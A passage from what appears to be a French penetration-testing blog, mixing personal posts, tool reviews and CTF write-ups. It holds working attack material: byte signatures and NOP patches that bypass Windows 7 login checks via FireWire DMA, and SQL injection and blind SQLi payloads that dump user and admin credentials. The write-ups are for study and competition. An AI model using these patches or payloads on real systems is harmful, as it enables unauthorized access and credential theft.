Bonne et heureuse année 2012

Bonjour à tous !

C’est avec grand plaisir que je vous souhaite à tous une très bonne année 2012 ! Plein de bonnes choses pour cette nouvelle année mais surtout une santé de fer ! C’est le plus important.

Pour ma part, j’ai décidé que j’allais me remettre à poster un peu plus souvent car ces temps-ci je n’ai pas trop pris le temps de le faire.

Également, je vais continuer à m’occuper un maximum de ma petite puce car ça grandit trop vite ! En plus, il faut vraiment profiter de cette année car elle risque d’être la dernière d’après plusieurs théories dont la plus fiable reste quand même l’invasion par des poneys !

Pour finir, je vais me remettre un peu au sport ! geek un jour, geek tu cours :)

A bientôt :)

Posté dans Evènements par Nico. 5 Commentaires

R.I.P CrashFR

Bonsoir à tous,

C’est avec grande tristesse que j’ai appris aujourd’hui la mort de Paolo Pinto alias CrashFR le 3 décembre 2011.
L’ayant côtoyé  IRL pour divers projets, j’ai pu converser avec lui sur pas mal de sujets autour de la sécurité informatique. Ses paroles ont toujours été une vrai mine d’or et son écoute attentive en a toujours fait quelqu’un d’attachant et surtout au cœur immense.

En tout cas, il a toujours été un modèle de réussite pour moi. Outre le fait qu’il est le co-fondateur de la société Sysdream, il a également été à la source de gros projets tels : HackerzVoice, The Hackademy Journal et The Hackademy School, etc.

 Par ailleurs, il est également le créateur des meetings « Nuit Du Hack » et « Hack In Paris » qui ont rassemblé des milliers de passionnés de sécurité informatique.

Je tiens à adresser mes plus sincères condoléances à sa famille et ses proches pour qui cette triste nouvelle doit être un réel coup dur.

En tout cas toute la communauté du Hacking FR te remercions pour tout ce que tu as fait pour nous et te souhaitons un bon hacking au paradis.

R.I.P

Posté dans News IT par Nico. 1 Commentaire

Offre de stage (ou alternance), programmation réseau

Juste un petit article pour faire passer l’info: 1 stage est à pourvoir chez Bull à compter du mois de mars-avril pour une durée de 4 à 6 mois.

Voici le sujet:

Création automatisée de clients réseau pour faciliter les tests d’intrusion:

Sous la responsabilité d’un consultant sécurité informatique, votre projet de stage consiste à :
- S’approprier les outils de capture réseau (wireshark et ses dissectors)
- S’approprier les outils de manipulation de paquets (en langage Python)
- Créer un outil, en langage Python, de création automatisée de clients réseau à partir de simples captures
- Rédiger la procédure couvrant l’audit « boîte noire » d’un service réseau
- Alternance possible

Pour plus d’informations, consultez la page suivante: http://goo.gl/KwnrL

N’hésitez pas à me contacter via le formulaire en choisissant le sujet « Offre de stage/emploi » et en m’indiquant éventuellement l’adresse de votre profil linkedin ou viadeo si vous en avez un. Sinon, je vous répondrai pour que vous puissiez m’envoyer votre CV.

 

Posté dans Pentest Programmation par Romain. Aucun Commentaire

Patch FTWAutopwn


FTWAutopwn est un outil développé par Casten Maartmann-Moe qui a pour but de remplacer/améliorer le programme Winlockpwn qui n’est actuellement plus maintenu.

Pour rappel, Winlockpwn permet de déverrouiller une session active Windows via une attaque DMA sur le port FireWire.

FTWAutopwn permet de rendre plus stable la manipulation et ainsi d’éviter de se retrouver avec un joli BSOD et autre plantage durant la manipulation. Pour faire simple, la méthode vise à modifier la fonction permettant la vérification du mot de passe afin de la rendre valide peut importe ce qui est inséré. Pour cela, il est nécessaire d’étudier la dll msv1_0.dll et plus particulièrement la fonction MsvpPasswordValidate.

Une analyse assez bien faite est disponible à l’adresse suivante :

https://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw

Plusieurs signatures ont été intégrées à l’outil permettant de pouvoir patcher la fonction en fonction de l’OS.

Nous avons eu besoin, dans le cadre de mon travail, de trouver la signature d’un Windows 7 64 bits SP1  qui n’a pas été renseignée dans le fichier config.cfg.

Pour ce faire, un coup d’IDA sur la dll, une recherche de la fonction MsvpPasswordValidate, on se place dans la section de code permettant le saut conditionnel pour la validation et on remplace par des nop (0×90).

Ceci nous donne le patch suivant :

« sig »: »C60F857C800000B8″,
« pageoffset »:[0x321],
« patch »: »C6909090909090B8″,
« patchoffset »:0}]

Pour un Windows 7 64 bits SP0  :

« sig »: »C60F85A0B80000B8″,
« pageoffset »:[0x2A8],
« patch »: »C6909090909090B8″,
« patchoffset »:0}]

Pour les curieux, voici quelques documents utiles sur le sujet :

Greatz à Eric ;)

Edit : j’ai mis à jour le pageoffset de Windows 7 SP1 64bits (celui que j’avais trouvé ne fonctionnait pas). Je viens de tester à l’instant avec « pageoffset »:[0x321] et cela fonctionne !
Également, je rajoute le fait que suivant la version de la DLL, la signature peut être différente. Pour information, voici celle que j’ai testée :

Posté dans Pentest par Nico. 2 Commentaires

Arachni, scanner de vulnérabilités Web

Arachni est un scanner de vulnérabilités automatisé Open-Source créé par Tasos Laskos. Il propose un environnement stable, la génération de rapports et offre la possibilité d’écrire des plugins facilement et rapidement.

Site officiel : http://arachni.segfault.gr/news

Fonctionnalités

General :

  • Support cookie-jar ;
  • Support SSL ;
  • Support de proxy (SOCKS4, SOCKS4A, SOCKS5, HTTP) + authentification ;
  • Spoofing du user agent ;
  • Utilisation via une interface Web et/ou en ligne de commande ;
  • Possibilité de dispatcher la couche serveur de l’application permettant des scans parallèles, de la répartition de charge, etc.
  • Pause/reprise possible ;
  • etc.

Crawler :

  • Filtres sur des pages redondantes ;
  • Possibilité de définir des URL à inclure ou exclure lors du scan ;
  • Limite de redirection et de lien ajustable ;
  • etc.

Module :

  • Audit : SQLi, BSQLi, CSRF, XSS, injection LDAP, Path Traversal, LFI/RFI… ;
  • Etc.

Rapport :

  • Génération de rapports automatisés ;
  • Etc.

Plug-in :

  • Permet d’étendre les fonctionnalités d’arachni ;
  • Plugins disponibles : proxy passif, autologin, attaque par dictionnaire sur des authents HTTP, analyseur de WAF, etc.

Installation

Testé sous BT5

Pour lancer arachni :

$arachni_web_autostart

L’interface Web est disponible à l’adresse suivante :

http://127.0.0.1:4567/

Il reste cependant possible d’utiliser le scanner en ligne de commande dont voici la page de documentation officiel :

https://github.com/Zapotek/arachni/wiki/Command-line-user-interface

Exemple de ligne de commande :

$arachni –mods=xss http://localhost/ –exclude=formulaire

Elle permet de scanner les vulnérabilités XSS sur un site local en excluant le mot formulaire de l’URL (lors du crawling).

Utilisation

Il est nécessaire de configurer le dispatcher en cliquant sur celui par défaut. Ce dernier permet de lancer des scans sur différentes instances (également sur d’autres postes).

Une fois cette étape effectuée, le scan d’un site Web peut être lancé. Il est cependant utile de regarder les différents onglets disponibles :

Start a scan :

Permet de lancer son scan en insérant l’URL/l’adresse IP.

Modules :

Permet de sélectionner les modules qui seront utilisés durant la phase de scan.

Plugins :

Plugins permettant d’étendre certaines fonctionnalités de l’outil. Pour exemple, la fonction auto-login se situe dans cette section.

Settings :

Onglet permettant de configurer différentes options telles :

  • Auditer les formulaires ;
  • Auditer les cookies ;
  • Auditer les cookies ;
  • Exclure certaines URLS ;
  • Configurer le nombre de requêtes HTTP ;
  • Utilisation d’un cookie spécifique ;
  • Etc.

Report :

Liste des scans effectués en incluant les rapports sous différents formats (Metareport, format Arachni Framework, Text, XML, HTML).

Add-ons :

Permet d’activer les add-ons permettant d’améliorer les fonctionnalités de la WebUI.

Dispatcher :

Liste des dispatchers et leur charge mémoire.

Log :

Log des scans lancés, des rapports générés, etc.

Exemple de sortie

Summary :

Graphiques des vulnérabilités classés par types :

Issues :

Résultat détaillé des vulnérabilités contenant :

  • Nom du module ;
  • Variable affectée ;
  • URL affectée ;
  • Type d’élément HTML ;
  • CWE ;
  • CVSSV2 ;
  • Descriptif de la vulnérabilité ;
  • Eléments de corrections ;
  • Références : Wikipedia, OWASP, SecuriTeam… ;
  • Etc.

Plugin results :

Informations complémentaires sur les plugins utilisés + healthmap.

Sitemaps :

Liste des URLs testées durant le scan.

Configuration :

Détail de la configuration utilisée lors du scan.

N’hésitez pas à faire des retours sur la pertinence des découvertes de vulnérabilités de l’outil ;-)

Pour information complémentaire, voici un article récent et assez intéressant sur le comparatif de plusieurs scanners de vulnérabilités payants et Open-Source :

http://sectooladdict.blogspot.com/2011/08/commercial-web-application-scanner.html

Mode vacances 2 semaines \o/

Posté dans Outils par Nico. 2 Commentaires

Nipper, audit de configuration

Hello all,

Tout d’abord désolé de ne pas avoir posté d’article depuis un bout de temps. Entre mon déménagement, le temps d’attente pour la récupération du net, le boulot, les conférences SSTIC, Hack In Paris, NDH2K11, et s’occuper de la petite, ca ne laisse pas beaucoup de temps.

En tout cas, cela fait extrèmement du bien de retrouver le net ! surtout avec 17 mégas, ça le fait !

J’ai reçu pas mal de mails depuis quelques temps concernant mon boulot. Pour information, non je ne travaille pas chez Bull, mais c’est mon pote Romain qui poste de temps en temps sur ce blog. Pour ma part, après avoir fais un petit détour à l’ESEC Sogeti dans l’équipe pentest, je me suis dirigé chez Telindus dans l’équipe SRC (Security Research Center) ou j’effectue des tests d’intrusion (TI, TIE, audit de conf, un peu de R&D, etc.).

Seconde petite précision, non,  je ne suis pas nico34 de zenk-security ;-)

Tiens, en parlant de zenk, j’ai pu revoir certains membres IRL lors de la NDH2k11. On a d’ailleurs participé au CTF mais,  malheureusement, le challenge a été annulé vers 1h00 du matin à cause de différents problèmes techniques. Nous étions assez dégoutés mais on se met à la place du staff pour qui, la déception a été énorme !

Aller, on se remet en jambe avec un soft qu’on utilise de temps en temps au taff, à savoir Nipper.

Cet outil a été développé par titania-security et permet d’auditer la configuration de plusieurs équipements tels :

  • Check Pont VPN-1/Firewall-1 ;
  • Cisco Routers (IOS) ;
  • Crossbeam Firewalls ;
  • Juniper NetScreen Firewalls ;
  • Nokia IP Firewalls ;
  • WatchGuard X Core/Edge ;
  • SonicWALL Firewall (SonicOS) ;
  • etc.

Vous pouvez consulter la liste complète ici.

L’interface est assez intuitive, il suffit simplement de charger le fichier de configuration et de lancer l’analyse. La nouvelle version de Nipper detècte automatiquement l’équipement en fonction du/des fichier(s) importé(s). Voici un exemple avec l’importation d’un fichier de conf Juniper :

Quelques « next » suivants, un rapport automatisé est généré. Ce dernier contient l’ensemble des problématiques de sécurité détectées sur votre conf. On peut y retrouver différents thèmes tels :

  • Les règles du pare-feu trop permissives ;
  • Les fonctionnalités IDS non implémentées ;
  • Le port AUX non désactivé ;
  • Des noms de communautés SNMP trop faibles ;
  • L’utilisation des comptes par défaut ;
  • Etc.

Le rapport indique pour chaque problématique, son niveau de criticité ainsi que  la difficulté de correction. Ces informations sont très utiles afin de prioriser et d’organiser un plan d’action pour corriger les multiples défauts de sécurité détectés.

Le rapport indique également (ce qui est assez utile) les commandes permettant de corriger le problème. Pour exemple, sur la thématique des comptes et mots de passe par défaut, Nipper inclus dans la partie « recommandation », les différentes commandes pour changer le nom d’un compte ainsi que le mot de passe, ex  :

Également, se trouve à la fin du rapport un récapitulatif d’informations utiles à savoir : les interfaces réseaux, les vlans, les zones, les objets, etc.

Pour finir, bien que l’outil soit plutôt bien fait, j’ai constaté un bug assez gênant (remonté à l’éditeur).

Lors de l’analyse d’une configuration Juniper NetScreen,  j’ai remarqué que Nipper effectue une analyse des règles du pare-feu en fonction de leur identifiant (ID) alors que Juniper, analyse les règles ligne par ligne. Concrètement, cela signifie que si une règle ayant l’ID 10 est en première position et que la règle suivante contient l’ID 2, Nipper va ranger de la manière suivante :

  1. Règle ID 2 ;
  2. Règle ID 10.

Tandis que sur Juniper, on aura cet ordre :

  1. Règle ID 10 ;
  2. Règle ID 2.

Ce défaut est un vrai problème car le rapport va potentiellement incorporer des faux-positifs.

J’attends donc un retour de leur part afin de savoir si le bug sera corrigé rapidement.

Téléchargement & Installation

https://www.titania-security.com/downloads

Il est nécessaire de s’enregistrer pour pouvoir récupérer une licence d’essai (outil payant).

Nipper est disponible sur les systèmes d’exploitation suivants : Windows, Mac OS X, Ubuntu GNU/Linux, Fedora GNU/Linux et CentOS GNU/Linux.

Documentation

Titania-security a fait les choses bien côté documentation. En effet, est disponible sur leur site, plusieurs procédures montrant la façon d’extraire les fichiers de configuration sur différents équipements (très utile lorsque l’on ne connait pas trop le produit).

Ces docs sont disponibles à l’endroit suivant : https://www.titania-security.com/support/documentation. N’hésitez surtout pas à les consulter.

Bonnes vacances à tous et à très vite pour la découverte d’un nouvel outil ;-)

[Write-Up] Fun with firewire – PlaidCTF


Ce week-end, j’ai participé avec la team Zenk-Security au pCTF 2011 organisé par la team PPP.

Les épreuves étaient vraiment très intéressante et malgré notre 32ème place, nous avons pu nous confronter à des équipes du monde entier. Je tiens à féliciter les 3 premières équipes à savoir :

1. Hacking For Soju 6864 (Team Suédoise) ;
2. C.o.P 6543 (Team Française) ;
3. SSH 6230 (Team Russe).

La présentation des épreuves était sympathique, avec un plan de la tour AED. Jugez par vous-même :

Sur les 38 épreuves disponibles, nous en avons réussi… seulement 10…

Voici la résolution de l’épreuve forensique 9 intitulée « Fun with firewire« .

Description

Category: forensics

All of the machines at the AED office are encrypted using the amazing Truecrypt software.
When we grabbed one of their USB sticks from a computer, we also grabbed the memory using the Firewire port.

Recover the key using the truecrypt image and the memory dump.

Nous avions à télécharger l’archive suivante : http://www.plaidctf.com/chals/81d9467f812d2fbb32e9d4b915cccfe457245f25.tar.bz2

Cette dernière contenait deux fichiers :

  • physmem.bin (dump physique de la RAM) ;
  • ppp.challenge.vol (volume truecrypt).

On utilise l’outil « passware » permettant de déchiffrer le volume truecrypt via le dump de la RAM :

En effectuant une recherche des strings dans le fichier de sorti, nous avons obtenu le flag :)

Simple, mais efficace :p (surtout pour 500 points).

Repository

http://repo.shell-storm.org/CTF/PlaidCTF-2011/
http://stalkr.net/files/pctf/2011/

Liste Writeups

Writeup SHP – épreuve : SHA1 is fun
Writeup Hydraze – épreuve : Exploit Me :p
Writeup Nibbles – épreuve : Plain sight
Writeup RajatSwarup – épreuve : Plain sight
Writeup StalkR – épreuve : That’s no bluetooth
Writeup Nibbles – épreuves : Sticky Note, Family Photo! et Crossword Masters
Writeup Jonathan Salwan – épreuve : Another small bug
Writeup auntitled – épreuve : Another small bug
Writeup 0vercl0k & Jonathan Salwan – épreuve : Calculator
Writeup abs|Zer0| – épreuve : Django…really?
Writeup m_101 – épreuve : C++5x
Writeup auntitled – épreuve : hashcalc1
Writeup eindbazen – épreuve : Fun with Numb3rs
Writeup auntitled – épreuve : hashcalc2
Writeup Eloi Sanfèlix – épreuve : The App Store!
Writeup Eloi Sanfèlix – épreuve : ECE’s revenge
Writeup PenSec – épreuve : Chiptunes?… Crickets?
Writeup PenSec – épreuve : Key leak
Writeup PentSec – épreuve : We play cards
Writeup Leet More -épreuve : PC Rogue

 

Posté dans Tutos de Nico par Nico. 9 Commentaires

MagicTree, consolider et rapporter les données d’un pentest

MagicTree (Gremwell) est un outil permettant de consolider les données d’un pentest et générer de beaux rapports que les clients apprécient par dessus tout. Il est développé en Java et voici quelques unes de ses fonctionnalités :

  • Créer automatiquement  des noeuds à partir de plages d’adresses réseaux ;
  • Glisser/déposer des objets de l’arbre ;
  • Exécution de commandes Nmap, Nikto … directement depuis MagicTree ;
  • Importer des résultats d’autres outils comme Nessus ;
  • Classement des résultats par criticité ;
  • Générer des rapports en .odt, .docx.
  • etc…

Téléchargement & Installation

http://www.gremwell.com/download

Windows

Il s’agit d’un simple fichier .jar donc il suffit de l’exécuter en ayant préalablement installé Java.

Linux

$ mkdir -p /pentest/magictree/
$ cd /pentest/magictree/
$ wget http://www.gremwell.com/snapshots/1492.bd2cf0ecad8504a3c0fa900874a777fe/MagicTree-1492.jar
$ java -jar MagicTree-1492.jar

Utilisation

Rien ne vaut une petite vidéo pour voir un peu comment ça fonctionne (Anglais):

Posté dans Pentest par Romain. Aucun Commentaire

Writeup RCE100 préqualifications NDH 2k11

Article écrit par Le_MaLaDe. Merci à lui :-)

Dans cette épreuve, nous avons un simple crackme avec un code à rentrer nous indiquant si le mot de passe inséré est bon ou non.

Ouvrons donc ce crackme au moyen d’un debugger, ici OllyDbg.

On remarque très vite que le binaire est packé. On le voit quand on arrive en 00466D90 au début du programme.

On entre dans une routine de décompression (fin en 00466F1B).

On pose donc un breakpoint en sélectionnant la ligne et en appuyant sur F2. On lance le soft pour le laisser se décompresser en appuyant sur F9. OllyDbg s’arrête donc à la fin de la décompression et nous redirige vers le début du soft.

Il suffit ensuite d’avancer dans le programme pas à pas en appuyant sur la touche F8. Arrivé en 0041E48A, nous sommes en zone de données.

Pour avoir le code lisible il suffit de faire un clic-droit, puis Analysis, et Analyse code.

Partons maintenant à la recherche de la routine de vérification du code ou quelque chose qui pourrait nous intéresser. Un clic-droit, Search for, All referenced strings pour avoir des indices. Nous ne pouvons pas chercher de texte sur le bon message comme il s’agit d’une image. On voit tout de même le texte du bouton Login et Quit. Si on double-clique sur Login on arrive en 0041EE48.
On descend rien de spécial… On remonte, on tombe sur un PostQuitMessage, on remonte un peu et on tombe sur quelque chose d’intéressant !

De l’imul, du sub, il pourrait bien s’agir d’une routine de calcul ! On pose donc un breakpoint en 0041EC50, on lance le soft mais ça s’arrête de suite… Par contre si on pose un point d’arrêt à la fonction juste en-dessous en 0041ECB0 on s’arrête bien quand on valide.
Le soft va donc récupérer le code, et on voit ensuite qu’on fait bien appel à notre fonction en 0041EC50, celle-ci hashe notre code entré, et le compare à 0xC4B1801C, si c’est égal, on affiche le bon message.

Nous allons donc recoder la fonction de hash pour comparer le code à ce qu’il faut obtenir, à savoir 0xC4B1801C.
Comme il s’agit d’une fonction de hash, elle n’est donc pas réversible (des multiplications en fonction des caractères saisis…), il faudra donc brute-forcer, c’est-à-dire tester toutes les possibilités jusqu’à ce que ça corresponde au code.
En gros, la routine initialise ESI à 0xDEADBEEF, et débute une boucle.

Début de la boucle en prenant chaque caractère dans EAX

ESI = ESI * 0×38271606
EAX = EAX * 0X5B86AFFE
EAX = EAX – ESI
ESI = EAX
Fin de la boucle
EAX = ESI

Voici le code python qui nous génèrera tout ça : Lien_Code_RCE100

Il est possible d’utiliser les librairies de python pour faire le brute-force, mais le but était de montrer l’algo.
Une fois lancé, on patiente… et on obtient pWn3D.

Posté dans Evènements par Nico. Aucun Commentaire

Writeup préqualifications NDH 2k11

 


Ce week-end et ce durant 48 heures, a eu lieu les pré-qualifications pour le CTF de la Nuit Du Hack 2011. Plus de 237 équipes se sont inscrites afin de se confronter autour de 12 épreuves regroupées dans 4 domaines à savoir :

  1. La Cryptographie ;
  2. L’analyse forensique ;
  3. Les vulnérabilités Web ;
  4. La retro-ingénierie.

Chaque équipe se voyait attribuer des points pour chaque épreuve résolue (variable suivant la difficulté) incluant un bonus pour l’équipe ayant résolu en premier l’épreuve.

J’ai participé à ce CTF avec l’équipe Zenk-Security (nico34, Kr0ch0u, bufferoverfl0w, joanelis, Le_Malade, shp, ezano, Tr00ps, Saiketsu, strepoetlo, Debaser, et moi-même).

Bien qu’ayant commencé pas trop mal, nous avons fini à la 20ème place avec 8 épreuves sur  12 réussies.

Voici donc le Writeup écrit par nico34, Kr0ch0u, Debaser, bufferoverfl0w (gros bisous de poneys à eux) et moi-même, suivi de liens vers d’autres solutions.

!!! Here We Go !!!!

1) CRYTPO100

Dans un premier temps, il fallait reconnaitre le chiffrement. En analysant un peu, nous avons remarqué que certaines lettres et ponctuations revenaient assez régulièrement. L’habitude des CTF a fait que nous avons tout de suite pensé à du Vigenère (assez classique) :

NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L…

On insère notre chiffré sur le site suivant : http://smurfoncrack.com/pygenere/pygenere.php

En insérant une clé de 1-18 et en choisissant la langue française, le site nous indiquait la valeur de cette clé qui n’était autre que le flag permettant de valider l’épreuve :

2) WEB100

Dans cette épreuve, nous avons accès à une page Web qui nous demande un couple login/password :

http://wtfbbq.prequals.nuitduhack.com/

Plus bas nous avons accès à une page permettant de s’enregistrer :

http://wtfbbq.prequals.nuitduhack.com/inscription.php

Nous devons créer un compte afin d’accéder à l’espace membre qui, après nous être connecté, nous affiche ceci :

L’astuce ici est qu’il faut s’apercevoir que lorsque l’on utilise l’option « Remember Me » de la page de connexion, nous pouvons voir qu’un cookie du nom de « user_cookies » se forme ayant pour contenu un code en base64 : YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30

En décodant ce base64, nous obtenons ceci :

a:2:{i:0;s:32: »e10adc3949ba59abbe56e057f20f883e »;i:1;s:7: »writeup »;}

De là, il est nécessaire reconnaitre la fonction serialize de PHP. La sortie nous indique :

  • a:2: : un tableau de deux éléments ;
  • i:0 : le premier élément du tableau ;
  • s:32: »e10adc3949ba59abbe56e057f20f883e » : la longueur du premier élément puis sa valeur; ici le hash md5 du password « 123456″ ;
  • i:1 : le deuxième élément du tableau ;
  • s:7 : »writeup » : la longueur du deuxième élément puis sa valeur; ici le login « writeup » ;

En essayant de comprendre le code qui tournait derrière, nous en avons conclu qu’il reprenait ce cookie pour faire une comparaison avec le vrai password. Or si nous retournons un booléen de type true, la comparaison sera forcément vrai et nous pourrons nous connecter sur n’importe quel compte.

Après avoir testé les différents comptes (admin,administrateur,administrateur,root…), nous avons trouvé qu’une injection sql était possible via le deuxième élément de fonction serialize, c’est à dire le login.

Voici un script permettant d’automatiser l’injection : Web100_sqli.php

Rapidement nous plaçons nos injections en paramètres :

$ php injection.php « -4′ORDER BY 7# »
$ php injection.php « -4′union all select 0,0,group_concat(schema_name),0,0,0 from information_schema.schemata# »
$ php injection.php « -4′union all select 0,0,group_concat(table_name),0,0,0 from information_schema.tables where table_schema=’prequals_web1′# »
$ php injection.php « -4′union all select 0,0,group_concat(column_name),0,0,0 from information_schema.columns where table_name=’utilisateurs’# »
$ php injection.php « -4′union all select 0,0,group_concat(id_user,0x3a,login,0x3a,pass,0x3a,nom,0x3a,prenom,0x3a,privilege),0,0,0 from utilisateurs
where privilege!=’user’# »

W00t, on a le compte admin :)

3) WEB200

Cette épreuve était assez amusante car elle nous rappelait la bonne vieille image de drop database des radars fixe :

Dans cette épreuve, nous accédons à une page comprenant un formulaire d’upload :

Après plusieurs tentatives, nous nous sommes rendu compte que la source était disponible à l’adresse suivante :

http://ziggyzag.prequals.nuitduhack.com/form.php~

À l’heure actuelle nous ne savons pas si cette erreur était voulue ou non car le lien n’est plus accessible. Néanmoins, nous avons pensé à faire un backup de la source qui est accessible ici.

EDIT : d’après le staff, ces fichiers temporaires sont apparus après la restauration du backup des épreuves : voir l’explication.

Le code convertit l’image en .tif puis récupère le texte présent à l’aide de tesseract.

La requête SQL n’étant pas protégée,  nous avons injecté des requêtes via les images suivantes :

List of infractions found for: ‘OR’1′=1– -

* Pissed on the motorway
* Showed ass to police
* 200kmh in town
* 5g/L !!!
* No driving license
* No seatbelt
* Incorrect usage of car
* Driver error
* Too old to drive
* almost..
* Parking in a handicap spot !
* Biking on motorway..
* Prostitute assault on Paris ring road
* Racing on the motorway is forbidden !
* insane driving !! WTF ??!!
* Thinks he’s in Need for speed
* Laughing at policemen!!!

Tiens, on a réussi à dumper tous les commentaires des images. Continuons donc dans notre lancée en injectant des requêtes permettant de récuperer le contenu des tables, colonnes, etc.

Après un ‘UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where ‘x’='x nous obtenons la table : POWN3D

Pour finir, en injectant l’image suivante, nous avons obtenu le flag :

4) WEB300

Dans cette épreuve, nous avons accès à une page web qui nous demandait le traditionnel couple login/password ainsi qu’un captcha :

http://ownm3.prequals.nuitduhack.com/

Après quelques tests, on remarque une vulnérabilité de type « full path disclosure » en mettant les paramètres suivants dans une requette POST :

user=a&pass[]=b&userCode=c&connexion=Log+in

Dans le champ password, nous obtenons :

<input type= »password » value= »Warning: trim() expects parameter 1 to be string, array given in /var/www/web300/index.php on line 71″ name= »pass »>

Mais osef, c’est useless :) et après quelques autres tests, on suppose qu’il n’y a pas de SQLi dans le formulaire.

Parallèlement, on essaie de comprendre comment le captcha est généré.

Un code javascript permet de recharger le captcha :

onclick= »document.images.captcha.src=’captcha.php?id=’+Math.round(Math.random(0)*1000)+1″

On  se concentre alors sur la page suivante en jouant avec le paramètre GET id :

http://ownm3.prequals.nuitduhack.com/captcha.php?id=1

Il ne semble pas être possible de faire une injection sur celui-ci. De plus, deux appels consécutifs à cette page avec le même id rendent des images captcha différentes.

Nous constatons qu’une variable pac est stockée à chaque requête dans nos cookies, avec ce qui semblerait être un hash md5.

Nous découvrons également que le cookie pac semble être utilisé au niveau de la page captcha.php dans une requête SQL, et qu’une injection est possible.

En ajoutant une quote et une requête SQL AND on a droit a une jolie Blind SQLi :-)

pac=a2b66be9d4f02051320c97da8bebab25′ and ’1′=’1

est une condition VRAIE et l’image du captcha contient un texte aléatoire de 5 caractères.

pac=a2b66be9d4f02051320c97da8bebab25′ and ’1′=’0

est une condition FAUSSE et l’image du captcha contient le texte ERROR !

Nous allons donc pouvoir utiliser cette injection pour dumper les tables, en se basant sur une analyse OCR de l’image reçue.

Après quelques tentatives infructueuses de reverse du md5 du cookie pac sur différents sites, strepoetlo nous conseille le site :

http://www.md5decrypter.co.uk/ qui nous donne des résultats du type suivant :

a2b66be9d4f02051320c97da8bebab25 MD5 : U4F4B

Merveille ! on constate que le MD5 correspond au texte affiché dans le captcha.

On est donc heureux d’apprendre que l’on n’a pas à faire d’ocr pour savoir quel est le texte du captcha. En cas de condition FAUSSE dans notre Blind SQLi, le serveur retourne une image contenant le texte ERROR et le cookie pac contient le hash MD5 de la string ERROR :

pac=cb5e100e5a9a3e7f6d1fd97512215282

A l’inverse, une condition VRAIE contiendra un cookie différent.

Blind SQL Injection

On applique les techniques de base des Blind SQL Injections sur MySQL :

  • par dichotomie, on retrouve la longueur de la variable @@version ;
  • on récupère les caractères de la variable @@version un à un en itérant sur la fonction  ASCII(SUBSTRING(@@version, idx, 1)).

Pour récupérer le code ASCII de chaque caractère, on procède encore par dichotomie (charset ASCII entre 0 et 128, soient 8-9 itérations par caractères).
A ce moment, on se rend compte que le serveur lag vraiment et que si l’on souhaite dumper l’intégralité de la base de donnée, on risque de dépasser la fin de la prequal ^_^.

On essaie alors d’optimiser notre script en utilisant une technique sympa, partagée quelques jours avant par mortis.

Les versions de MySQL supérieures à 5 (cela tombe bien, c’est le cas ici) possède un opérateur bitwise shift right ( >> ).

On sait que le charset ASCII utilise 7 bits, le huitième est à 0. Si on test chaque caractère bit à bit, on gagne une itération par caractère, et mine de rien, ce n’est pas négligeable !

def shr(function):
«  »"
Using function(idx, val) as oracle saying if the idx-shifted value of
ascii code is equal to val, shr finds this code.
@param function oracle that says if idx-shifted value of ascii
code is equals to val
@return character
«  »"
val = 0;
idxList = range(7);
idxList.reverse();
for idx in l:
if function(idx, val) != True:       # sql >> idx != val => sql >> idx = v
val += 1
if idx != 0:
val <<= 1;
return chr(val);

On commence alors a dumper le nom des tables avec une jolie injection (SELECT table_name from information_schema.tables where table_schema=DATABASE() limit idx, 1) en utilisant cette technique.

On arrete le script au deuxième resultat :

table[0] => codes
table[1] => login

On récupère (avec la méthode dichotomique) le nombre de colonnes que possède la tablelogin‘. On trouve 3. Au lieu de dumper tous les caractères de toutes les colonnes column_name‘ de la tableinformation_schema.columns‘, on va bruteforcer le nom des colonnes.

nico34 nous donne un dictionnaire de 254 entrées, qui semble suffisant pour trouver les trois colonnes :

id
user
pass

Bingo ! On dump les valeurs des colonnes « user » et « pass » pour id=0.

On voit que la colonne user contient la valeur hackme, c’est bon signe, non ?

Il ne reste plus qu’à appliquer le même principe sur le mot de passe et c’est gagné (comme le dit si bien notre chère et tendre Dora l’exploratrice >_<).

Extraits des codes utiles (ou pas) à l’épreuve :

http://paste.braindead.fr/index.php/view/61182337 : orc, pas utile pour valider, mais on l’a écrit avant de trouver l’astuce sur la correspondance md5 / texte affiché dans le captcha.

http://paste.braindead.fr/index.php/view/99510748 : code de l’exploit final.

Article utile sur les blind SQLi :

http://ghostsinthestack.org/article-11-blind-sql-injections.html

/*
* —————————————————————————-
* « THE BEER-WARE LICENSE » (Revision 42):
* <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
* —————————————————————————-
*/

5)FORENSIC100

Nous avons dans cette épreuve une archive « dump.zip » contenant les fichiers  « dump.raw » et « README » nous indiquant le but de l’épreuve :

===
On a dumpé la RAM d’une machine sur laquelle tournait un serveur VNC. Le but est de recupérer le mot de passe de ce serveur.
===

Essayons d’analyser ce dump via l’outil Volatility :

$python vol.py -f dump.raw imageinfo

Volatile Systems Volatility Framework 1.4_rc1
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/dump.raw)
PAE type : No PAE
DTB : 0xae2000
